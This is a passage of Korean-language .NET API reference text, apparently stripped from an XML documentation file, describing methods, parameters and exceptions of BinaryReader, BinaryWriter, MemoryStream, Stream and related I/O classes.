스트림입니다. + 사용할 문자 인코딩입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 닫으려면 false입니다. + 스트림이 읽기를 지원하지 않거나 null이거나 이미 닫힌 경우 + + 또는 가 null인 경우 + + + + 의 내부 스트림에 대한 액세스를 노출합니다. + BinaryReader와 관련된 내부 스트림입니다. + 2 + + + + 클래스의 현재 인스턴스에서 사용하는 모든 리소스를 해제합니다. + + + + 클래스에 사용되는 관리되지 않는 리소스를 해제하고, 필요에 따라 관리되는 리소스를 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 스트림에서 읽은 지정된 바이트 수로 내부 버퍼를 채웁니다. + 읽을 바이트 수입니다. + + 를 읽기 전에 스트림의 끝에 도달한 경우 + I/O 오류가 발생하는 경우 + 요청된 가 내부 버퍼 크기보다 큰 경우 + + + 사용할 수 있는 다음 문자를 반환하고 바이트 또는 문자 위치를 앞으로 이동하지 않습니다. + 사용할 수 있는 다음 문자를 반환하고 사용할 수 있는 문자가 더 이상 없거나 스트림에서 검색을 지원하지 않을 경우 -1을 반환합니다. + I/O 오류가 발생하는 경우 + 현재 문자는 스트림에 선택한 을 사용하여 내부 문자 버퍼링으로 디코딩할 수 없습니다. + 2 + + + 내부 스트림에서 문자를 읽고 사용된 Encoding과 스트림에서 읽어오는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 입력 스트림의 다음 문자를 반환하고 현재 사용할 수 있는 문자가 없을 경우 -1을 반환합니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 2 + + + 바이트 배열의 지정된 지점부터 스트림에서 지정된 바이트 수만큼 읽습니다. + + 로 읽어 온 바이트 수입니다.이 바이트 수는 바이트가 충분하지 않은 경우 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달하면 0이 됩니다. + 데이터를 읽어올 버퍼입니다. + 버퍼로 읽어오기를 시작할 버퍼의 시작 위치입니다. + 읽을 바이트 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 또는읽을 수 있도록 디코딩된 문자의 수는 보다 큽니다.유니코드 디코더가 대체 문자 또는 서로게이트 쌍을 반환하는 경우 이 문제가 발생할 수 있습니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 문자 배열의 지정된 지점부터 스트림에서 지정된 문자 수만큼 읽습니다. + 버퍼로 읽어온 총 문자 수입니다.이 문자 수는 문자가 현재 충분하지 않은 경우 요청된 문자 수보다 작을 수 있으며 스트림의 끝에 도달하면 0이 됩니다. + 데이터를 읽어올 버퍼입니다. + 버퍼로 읽어오기를 시작할 버퍼의 시작 위치입니다. + 읽을 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 또는읽을 수 있도록 디코딩된 문자의 수는 보다 큽니다.유니코드 디코더가 대체 문자 또는 서로게이트 쌍을 반환하는 경우 이 문제가 발생할 수 있습니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 압축 형식의 32비트 정수를 읽습니다. + 압축 형식의 32비트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 스트림이 손상되었습니다. + + + 현재 스트림에서 Boolean 값을 읽고 스트림의 현재 위치를 1바이트 앞으로 이동합니다. + 바이트가 0이 아니면 true이고 0이면 false입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 다음 바이트를 읽고 스트림의 현재 위치를 1바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 다음 바이트입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 지정된 바이트 수만큼 바이트 배열로 읽어 오고 현재 위치를 해당 바이트 수만큼 앞으로 이동합니다. + 내부 스트림에서 읽은 데이터를 포함하는 바이트 배열입니다.이 바이트 배열은 스트림의 끝에 도달할 경우 요청된 바이트 수보다 작을 수 있습니다. + 읽을 바이트 수입니다.이 값은 0 또는 음수가 아닌 숫자여야 합니다. 그렇지 않으면 예외가 발생합니다. + 읽을 수 있도록 디코딩된 문자의 수는 보다 큽니다.유니코드 디코더가 대체 문자 또는 서로게이트 쌍을 반환하는 경우 이 문제가 발생할 수 있습니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + + 가 음수인 경우 + 2 + + + 현재 스트림에서 다음 문자를 읽고 사용된 Encoding과 스트림에서 읽어오는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 현재 스트림에서 읽은 문자입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 서로게이트 문자를 읽은 경우 + 2 + + + 현재 스트림에서 지정된 문자 수만큼 읽어 문자 배열로 데이터를 반환하고, 사용된 Encoding과 스트림에서 읽어 오는 특정 문자의 길이만큼 현재 위치를 앞으로 이동합니다. + 내부 스트림에서 읽은 데이터를 포함하는 문자 배열입니다.이 문자 배열은 스트림의 끝에 도달할 경우 요청된 문자 수보다 작을 수 있습니다. + 읽을 문자 수입니다. + 읽을 수 있도록 디코딩된 문자의 수는 보다 큽니다.유니코드 디코더가 대체 문자 또는 서로게이트 쌍을 반환하는 경우 이 문제가 발생할 수 있습니다. + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + + 가 음수인 경우 + 2 + + + 현재 스트림에서 10진 값을 읽고 스트림의 현재 위치를 16바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 10진 값입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 8바이트 부동 소수점 값을 읽고 스트림의 현재 위치를 8바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 8바이트 부동 소수점 값입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 있는 2바이트 정수를 읽고 스트림의 현재 위치를 2바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 있는 2바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 있는 4바이트 정수를 읽고 스트림의 현재 위치를 4바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 있는 4바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 있는 8바이트 정수를 읽고 스트림의 현재 위치를 8바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 있는 8바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 있는 바이트를 읽고 스트림의 현재 위치를 1바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 있는 바이트입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 4바이트 부동 소수점 값을 읽고 스트림의 현재 위치를 4바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 4바이트 부동 소수점 값입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 문자열을 읽습니다.한 번에 7비트 정수로 인코드된 길이는 해당 문자열의 접두사로 붙습니다. + 읽어 오는 문자열입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + little-endian 인코딩을 사용하여 현재 스트림에서 부호 없는 2바이트 정수를 읽고 스트림의 위치를 2바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 없는 2바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 없는 4바이트 정수를 읽고 스트림의 위치를 4바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 없는 4바이트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 2 + + + 현재 스트림에서 부호 없는 8바이트 정수를 읽고 스트림의 위치를 8바이트 앞으로 이동합니다. + 현재 스트림에서 읽은 부호 없는 8바이트 정수입니다. + 스트림의 끝에 도달한 경우 + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 2 + + + 기본 이진 형식을 스트림에 쓰고 특정 인코딩으로 된 문자열 쓰기를 지원합니다. + 2 + + + 스트림에 쓰는 클래스의 새 인스턴스를 초기화합니다. + + + 지정된 스트림을 기반으로 UTF-8 인코딩을 사용하여 클래스의 새 인스턴스를 초기화합니다. + 출력 스트림입니다. + 스트림이 쓰기를 지원하지 않거나 이미 닫힌 경우 + + 가 null입니다. + + + 지정된 스트림과 문자 인코딩을 기반으로 클래스의 새 인스턴스를 초기화합니다. + 출력 스트림입니다. + 사용할 문자 인코딩입니다. + 스트림이 쓰기를 지원하지 않거나 이미 닫힌 경우 + + 또는 이 null인 경우 + + + 지정된 스트림과 문자 인코딩을 기반으로 클래스의 새 인스턴스를 초기화하며, 선택적으로 스트림을 연 상태로 둘 수 있습니다. + 출력 스트림입니다. + 사용할 문자 인코딩입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 그렇지 않으면 false입니다. + 스트림이 쓰기를 지원하지 않거나 이미 닫힌 경우 + + 또는 이 null인 경우 + + + + 의 내부 스트림을 가져옵니다. + BinaryWriter와 관련된 내부 스트림입니다. + 1 + + + + 클래스의 현재 인스턴스에서 사용하는 모든 리소스를 해제합니다. + + + + 에서 사용하는 관리되지 않는 리소스를 해제하고, 관리되는 리소스를 선택적으로 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 현재 작성기에 대한 모든 버퍼를 지우면 버퍼링된 모든 데이터가 내부 장치에 쓰여집니다. + 1 + + + 백업 저장소가 없는 를 지정합니다. + 1 + + + 내부 스트림을 보유합니다. + + + 현재 스트림 내에서 위치를 설정합니다. + 현재 스트림에서의 위치입니다. + + 에 상대적인 바이트 오프셋입니다. + 새 위치를 가져올 참조 위치를 나타내는 의 필드입니다. + 파일 포인터가 잘못된 위치로 이동한 경우 + + 값이 잘못된 경우 + 1 + + + false를 나타내는 0과 true를 나타내는 1을 사용하여 1바이트 Boolean 값을 현재 스트림에 씁니다. + 쓸 Boolean 값(0 또는 1)입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 부호 없는 바이트를 현재 스트림에 쓰고 스트림 위치를 1바이트씩 앞으로 이동합니다. + 쓸 부호 없는 바이트입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 내부 스트림에 바이트 배열을 씁니다. + 쓸 데이터를 포함하는 바이트 배열입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + + 가 null입니다. + 1 + + + 현재 스트림에 바이트 배열 영역을 씁니다. + 쓸 데이터를 포함하는 바이트 배열입니다. + 쓰기를 시작할 의 시작점입니다. + 쓸 바이트 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 가 null입니다. + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 유니코드 문자를 현재 스트림에 쓴 다음 사용된 Encoding과 스트림에 쓰여지는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 쓰려고 하는 서로게이트가 아닌 유니코드 문자입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + + 가 단일 서로게이트 문자인 경우 + 1 + + + 문자 배열을 현재 스트림에 쓴 다음 사용된 Encoding과 스트림에 쓰여지는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 쓸 데이터를 포함하는 문자 배열입니다. + + 가 null입니다. + 스트림이 닫혀 있는 경우 + I/O 오류가 발생하는 경우 + 1 + + + 문자 배열 섹션을 현재 스트림에 쓴 다음 사용된 Encoding과 스트림에 쓰여지는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 쓸 데이터를 포함하는 문자 배열입니다. + 쓰기를 시작할 의 시작점입니다. + 쓸 문자 수입니다. + 버퍼 길이에서 를 빼면 보다 작은 경우 + + 가 null입니다. + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 10진 값을 현재 스트림에 쓰고 스트림 위치를 16바이트씩 앞으로 이동합니다. + 출력할 10진수 값입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 8바이트 부동 소수점 값을 현재 스트림에 쓰고 스트림 위치를 8바이트씩 앞으로 이동합니다. + 쓸 8바이트 부동 소수점 값입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 2바이트 부호 있는 정수를 현재 스트림에 쓰고 스트림 위치를 2바이트씩 앞으로 이동합니다. + 쓸 2바이트 부호 있는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 4바이트 부호 있는 정수를 현재 스트림에 쓰고 스트림 위치를 4바이트씩 앞으로 이동합니다. + 쓸 4바이트 부호 있는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 8바이트 부호 있는 정수를 현재 스트림에 쓰고 스트림 위치를 8바이트씩 앞으로 이동합니다. + 쓸 8바이트 부호 있는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 부호 있는 바이트를 현재 스트림에 쓰고 스트림 위치를 1바이트씩 앞으로 이동합니다. + 쓸 부호 있는 바이트입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 4바이트 부동 소수점 값을 현재 스트림에 쓰고 스트림 위치를 4바이트씩 앞으로 이동합니다. + 쓸 4바이트 부동 소수점 값입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + + 의 현재 인코딩으로 된 이 스트림에 문자열의 길이가 맨 앞에 나오는 문자열을 쓴 다음 사용된 인코딩과 스트림에 쓰여지는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 쓸 값입니다. + I/O 오류가 발생하는 경우 + + 가 null입니다. + 스트림이 닫혀 있는 경우 + 1 + + + 2바이트 부호 없는 정수를 현재 스트림에 쓰고 스트림 위치를 2바이트씩 앞으로 이동합니다. + 쓸 2바이트 부호 없는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 4바이트 부호 없는 정수를 현재 스트림에 쓰고 스트림 위치를 4바이트씩 앞으로 이동합니다. + 쓸 4바이트 부호 없는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 8바이트 부호 없는 정수를 현재 스트림에 쓰고 스트림 위치를 8바이트씩 앞으로 이동합니다. + 쓸 8바이트 부호 없는 정수입니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 1 + + + 압축 형식의 32비트 정수를 씁니다. + 쓸 32비트 정수입니다. + 스트림의 끝에 도달한 경우 + 스트림이 닫혀 있는 경우 + 스트림이 닫혀 있는 경우 + + + 읽을 때 throw되는 예외가 스트림의 끝을 지나 시도됩니다. + 2 + + + 시스템에서 제공되는 메시지로 설정된 메시지 문자열과 COR_E_ENDOFSTREAM으로 설정된 HRESULT를 사용하여 클래스의 새 인스턴스를 초기화합니다. + + + + 로 설정된 메시지 문자열과 COR_E_ENDOFSTREAM으로 설정된 HRESULT를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 오류를 설명하는 문자열입니다. 내용은 사용자의 이해를 돕기 위한 것입니다.이 생성자의 호출자는 이 문자열이 현재 시스템 문화권에 맞게 지역화되었는지 확인하는 데 필요합니다. + + + 지정된 오류 메시지와 해당 예외의 근본 원인인 내부 예외에 대한 참조를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 오류를 설명하는 문자열입니다. 내용은 사용자의 이해를 돕기 위한 것입니다.이 생성자의 호출자는 이 문자열이 현재 시스템 문화권에 맞게 지역화되었는지 확인하는 데 필요합니다. + 현재 예외의 원인이 되는 예외입니다. 매개 변수가 null이 아니면 현재 예외는 내부 예외를 처리하는 catch 블록에서 발생합니다. + + + 데이터 스트림의 형식이 잘못된 경우 throw되는 예외입니다. + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 지정된 오류 메시지를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 예외에 대한 이유를 설명하는 오류 메시지입니다. + + + 이 예외의 원인인 내부 예외에 대한 참조를 사용하여 클래스의 새 인스턴스를 초기화합니다. + 예외에 대한 이유를 설명하는 오류 메시지입니다. + 현재 예외의 원인이 되는 예외입니다. 매개 변수가 null이 아니면 현재 예외는 내부 예외를 처리하는 catch 블록에서 발생합니다. + + + 백업 저장소가 메모리인 스트림을 만듭니다.이 형식에 대 한.NET Framework 소스 코드를 찾아보려면 참조는 Reference Source. + 2 + + + 0으로 초기화된 확장 가능한 용량을 사용하여 클래스의 새 인스턴스를 초기화합니다. + + + 지정된 바이트 배열을 기반으로 하는 클래스의 크기 조정이 불가능한 새 인스턴스를 초기화합니다. + 현재 스트림을 만들 부호 없는 바이트의 배열입니다. + + 가 null인 경우 + + + 지정된 대로 설정된 속성을 사용하여 지정된 바이트 배열을 기반으로 하는 클래스의 크기 조정이 불가능한 새 인스턴스를 초기화합니다. + 이 스트림을 만들 부호 없는 바이트의 배열입니다. + 스트림이 쓰기를 지원하는지 여부를 결정하는 속성의 설정입니다. + + 가 null인 경우 + + + 바이트 배열의 지정된 영역(인덱스)을 기반으로 하는 클래스의 크기 조정이 불가능한 새 인스턴스를 초기화합니다. + 이 스트림을 만들 부호 없는 바이트의 배열입니다. + 스트림이 시작될 의 인덱스입니다. + 스트림의 길이(바이트)입니다. + + 가 null인 경우 + + 또는 가 0보다 작은 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + + 지정된 대로 설정된 속성을 사용하여 지정된 바이트 배열의 영역을 기반으로 하는 클래스의 크기 조정이 불가능한 새 인스턴스를 초기화합니다. + 이 스트림을 만들 부호 없는 바이트의 배열입니다. + 스트림이 시작될 의 인덱스입니다. + 스트림의 길이(바이트)입니다. + 스트림이 쓰기를 지원하는지 여부를 결정하는 속성의 설정입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + + 지정된 대로 설정된 속성과 지정된 대로 설정된 호출 기능을 사용하여 지정된 바이트 배열의 영역을 기반으로 하는 클래스의 새 인스턴스를 초기화합니다. + 이 스트림을 만들 부호 없는 바이트의 배열입니다. + 스트림이 시작될 의 인덱스입니다. + 스트림의 길이(바이트)입니다. + 스트림이 쓰기를 지원하는지 여부를 결정하는 속성의 설정입니다. + 스트림을 만든 부호 없는 바이트 배열을 반환하는 를 사용하도록 설정하려면 true이고, 설정하지 않으려면 false입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 버퍼 길이에서 를 빼면 보다 작은 경우 + + + 지정된 대로 초기화된 확장 가능한 용량을 사용하여 클래스의 새 인스턴스를 초기화합니다. + 내부 배열의 초기 크기(바이트)입니다. + + 가 음수인 경우 + + + 현재 스트림이 읽기를 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 열려 있으면 true입니다. + 2 + + + 현재 스트림이 검색을 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 열려 있으면 true입니다. + 2 + + + 현재 스트림이 쓰기를 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 쓰기를 지원하면 true이고, 지원하지 않으면 false입니다. + 2 + + + 이 스트림에 할당된 바이트 수를 가져오거나 설정합니다. + 버퍼에서 스트림에 대해 사용할 수 있는 부분의 길이입니다. + 음수 또는 스트림의 현재 길이보다 작은 용량이 설정되어 있는 경우 + 현재 스트림이 닫혀 있는 경우 + 용량을 수정할 수 없는 스트림에 set이 호출되는 경우 + 2 + + + 현재 스트림에서 모든 바이트를 비동기적으로 읽어 지정된 버퍼 크기 및 취소 토큰을 사용하여 다른 스트림에 씁니다. + 비동기 복사 작업을 나타내는 작업입니다. + 현재 스트림의 내용을 복사할 스트림입니다. + 버퍼의 크기(바이트)입니다.이 값은 0보다 커야 합니다. + 취소 요청을 모니터링할 토큰입니다. + + 가 null인 경우 + + 가 음수이거나 0인 경우 + 현재 스트림이나 대상 스트림이 삭제됩니다. + 현재 스트림이 읽기를 지원하지 않거나 대상 스트림이 쓰기를 지원하지 않습니다. + + + + 클래스에 사용되는 관리되지 않는 리소스를 해제하고, 필요에 따라 관리되는 리소스를 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + + 메서드를 재정의하여 아무런 작업도 수행되지 않도록 합니다. + 2 + + + 이 스트림에 대한 모든 버퍼를 비동기적으로 지우고 취소 요청을 모니터링합니다. + 비동기 플러시 작업을 나타내는 작업입니다. + 취소 요청을 모니터링할 토큰입니다. + 스트림이 삭제된 경우 + + + 스트림의 길이(바이트)를 가져옵니다. + 스트림의 길이(바이트)입니다. + 스트림이 닫혀 있는 경우 + 2 + + + 스트림 내의 현재 위치를 가져오거나 설정합니다. + 스트림 내의 현재 위치입니다. + 위치가 음수 값이나 보다 큰 값으로 설정된 경우 + 스트림이 닫혀 있는 경우 + 2 + + + 현재 스트림에서 바이트 블록을 읽어서 버퍼에 씁니다. + 버퍼로 쓴 총 바이트 수입니다.해당 바이트 수를 현재 사용할 수 없는 경우 이 수는 요청된 바이트 수보다 작을 수 있으며 바이트를 읽기 전에 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 이 메서드는 지정된 바이트 배열의 값이 및 ( + - 1) 사이에서 현재 스트림으로부터 읽은 문자로 교체된 상태로 반환됩니다. + 현재 스트림에서 데이터를 저장하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 읽을 최대 바이트 수입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + 버퍼 길이에서 을 빼면 보다 작은 경우 + 현재 스트림 인스턴스가 닫혀 있는 경우 + 2 + + + 현재 스트림에서 바이트의 시퀀스를 비동기적으로 읽고 읽은 바이트 수만큼 스트림 내에서 앞으로 이동하며 취소 요청을 모니터링합니다. + 비동기 읽기 작업을 나타내는 작업입니다. 매개 변수의 값은 버퍼 안으로 읽어들인 총 바이트 수를 포함합니다.현재 사용할 수 있는 바이트 수가 요청된 수보다 작을 경우 결과 값이 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달한 경우에는 0이 될 수도 있습니다. + 데이터를 쓸 버퍼입니다. + 스트림의 데이터를 쓰기 시작할 의 바이트 오프셋입니다. + 읽을 최대 바이트 수입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 읽기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 읽기 작업에서 현재 스트림을 사용하고 있습니다. + + + 현재 스트림에서 바이트를 읽습니다. + + 로 캐스팅된 바이트이거나 스트림의 끝에 도달한 경우 -1입니다. + 현재 스트림 인스턴스가 닫혀 있는 경우 + 2 + + + 현재 스트림 내의 위치를 지정된 값으로 설정합니다. + 초기 참조 지점과 오프셋을 조합해서 계산한, 스트림 내의 새 위치입니다. + 스트림 내의 새 위치입니다.이 위치는 매개 변수와 관련되며 양수와 음수 모두 가능합니다. + 검색 참조 지점 역할을 하는 형식의 값입니다. + 스트림의 시작 전에 검색하려고 한 경우 + + 가 보다 큰 경우 + 잘못된 이 있는 경우 또는이 산술 연산 오버플로를 발생시킨 경우 + 현재 스트림 인스턴스가 닫혀 있는 경우 + 2 + + + 현재 스트림의 길이를 지정된 값으로 설정합니다. + 길이를 설정할 값입니다. + 현재 스트림의 크기를 조정할 수 없으며 가 현재 용량보다 큰 경우또는 현재 스트림이 쓰기를 지원하지 않는 경우 + + 가 음수이거나 의 최대 길이보다 큰 경우. 여기서 최대 길이는 - origin입니다. origin은 스트림이 시작되는 내부 버퍼의 인덱스입니다. + 2 + + + + 속성에 관계없이 바이트 배열에 스트림 내용을 씁니다. + 새 바이트 배열입니다. + 2 + + + 이 스트림을 만드는 데 사용된 부호 없는 바이트의 배열을 반환합니다.반환 값은 변환의 성공 여부를 나타냅니다. + 성공적으로 변환되면 true이고, 그렇지 않으면 false입니다. + 이 스트림을 만든 바이트 배열 세그먼트입니다. + + + 버퍼에서 읽은 데이터를 사용하여 현재 스트림에 바이트 블록을 씁니다. + 데이터를 쓸 버퍼입니다. + 현재 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 쓸 최대 바이트 수입니다. + + 가 null인 경우 + 스트림이 쓰기를 지원하지 않습니다.자세한 내용은 를 참조하십시오.또는 현재 위치가 스트림의 끝에서 바이트보다 가까우며 용량을 수정할 수 없는 경우 + 버퍼 길이에서 을 빼면 보다 작은 경우 + + 또는 가 음수인 경우 + I/O 오류가 발생하는 경우 + 현재 스트림 인스턴스가 닫혀 있는 경우 + 2 + + + 바이트의 시퀀스를 현재 스트림에 비동기적으로 쓰고 쓰여진 바이트 수만큼 이 스트림 내의 현재 위치를 앞으로 이동한 후 취소 요청을 모니터링합니다. + 비동기 쓰기 작업을 나타내는 작업입니다. + 데이터를 쓸 버퍼입니다. + 스트림으로 바이트를 복사하기 시작할 의 바이트 오프셋(0부터 시작)입니다. + 쓸 최대 바이트 수입니다. + 취소 요청을 모니터링할 토큰입니다.기본값은 입니다. + + 가 null인 경우 + + 또는 가 음수인 경우 + + 와 의 합계가 버퍼 길이보다 큰 경우 + 스트림이 쓰기를 지원하지 않습니다. + 스트림이 삭제된 경우 + 이전 쓰기 작업에서 현재 스트림을 사용하고 있습니다. + + + 현재 위치에서 현재 스트림에 바이트를 씁니다. + 쓸 바이트입니다. + 스트림이 쓰기를 지원하지 않습니다.자세한 내용은 를 참조하십시오.또는 현재 위치가 스트림의 끝에 있으며 용량을 수정할 수 없는 경우 + 현재 스트림이 닫혀 있는 경우 + 2 + + + 다른 스트림에 이 메모리 스트림의 전체 내용을 씁니다. + 이 메모리 스트림을 쓸 스트림입니다. + + 가 null인 경우 + 현재 스트림이나 대상 스트림이 닫혀 있는 경우 + 2 + + + 탐색에 사용할 스트림 내 위치를 지정합니다. + 2 + + + 스트림의 맨 앞을 지정합니다. + + + 스트림 내의 현재 위치를 지정합니다. + + + 스트림의 맨 끝을 지정합니다. + + + 바이트 시퀀스에 대한 일반 뷰를 제공합니다.이 클래스는 추상 클래스입니다.이 형식에 대 한.NET Framework 소스 코드를 찾아보려면 참조는 Reference Source. + 2 + + + + 클래스의 새 인스턴스를 초기화합니다. + + + 파생 클래스에서 재정의되면 현재 스트림이 읽기를 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 읽기를 지원하면 true이고, 지원하지 않으면 false입니다. + 1 + + + 파생 클래스에서 재정의되면 현재 스트림이 검색을 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 검색을 지원하면 true이고, 지원하지 않으면 false입니다. + 1 + + + 현재 스트림이 시간 초과될 수 있는지를 결정하는 값을 가져옵니다. + 현재 스트림이 시간 초과될 수 있는지를 결정하는 값입니다. + 2 + + + 파생 클래스에서 재정의되면 현재 스트림이 쓰기를 지원하는지를 나타내는 값을 가져옵니다. + 스트림이 쓰기를 지원하면 true이고, 지원하지 않으면 false입니다. + 1 + + + 현재 스트림에서 바이트를 읽어서 다른 스트림에 해당 바이트를 씁니다. + 현재 스트림의 내용을 복사할 스트림입니다. + + 가 null인 경우 + 현재 스트림이 읽기를 지원하지 않는 경우또는이 쓰기를 지원하지 않는 경우 + + 메서드가 호출되기 전에 현재 스트림 또는 이 닫힌 경우 + I/O 오류가 발생하는 경우 + + + 현재 스트림에서 바이트를 읽어서 지정된 버퍼 크기로 다른 스트림에 씁니다. + 현재 스트림의 내용을 복사할 스트림입니다. + 버퍼의 크기입니다.이 값은 0보다 커야 합니다.기본 크기는 81920입니다. + + 가 null인 경우 + + 가 음수이거나 0인 경우 + 현재 스트림이 읽기를 지원하지 않는 경우또는이 쓰기를 지원하지 않는 경우 + + 메서드가 호출되기 전에 현재 스트림 또는 이 닫힌 경우 + I/O 오류가 발생하는 경우 + + + 현재 스트림에서 모든 바이트를 비동기적으로 읽어 다른 스트림에 씁니다. + 비동기 복사 작업을 나타내는 작업입니다. + 현재 스트림의 내용을 복사할 스트림입니다. + + 가 null인 경우 + 현재 스트림이나 대상 스트림이 삭제됩니다. + 현재 스트림이 읽기를 지원하지 않거나 대상 스트림이 쓰기를 지원하지 않습니다. + + + 현재 스트림에서 바이트를 비동기적으로 읽어 지정된 버퍼 크기로 다른 스트림에 씁니다. + 비동기 복사 작업을 나타내는 작업입니다. + 현재 스트림의 내용을 복사할 스트림입니다. + 버퍼의 크기(바이트)입니다.이 값은 0보다 커야 합니다.기본 크기는 81920입니다. + + 가 null인 경우 + + 가 음수이거나 0인 경우 + 현재 스트림이나 대상 스트림이 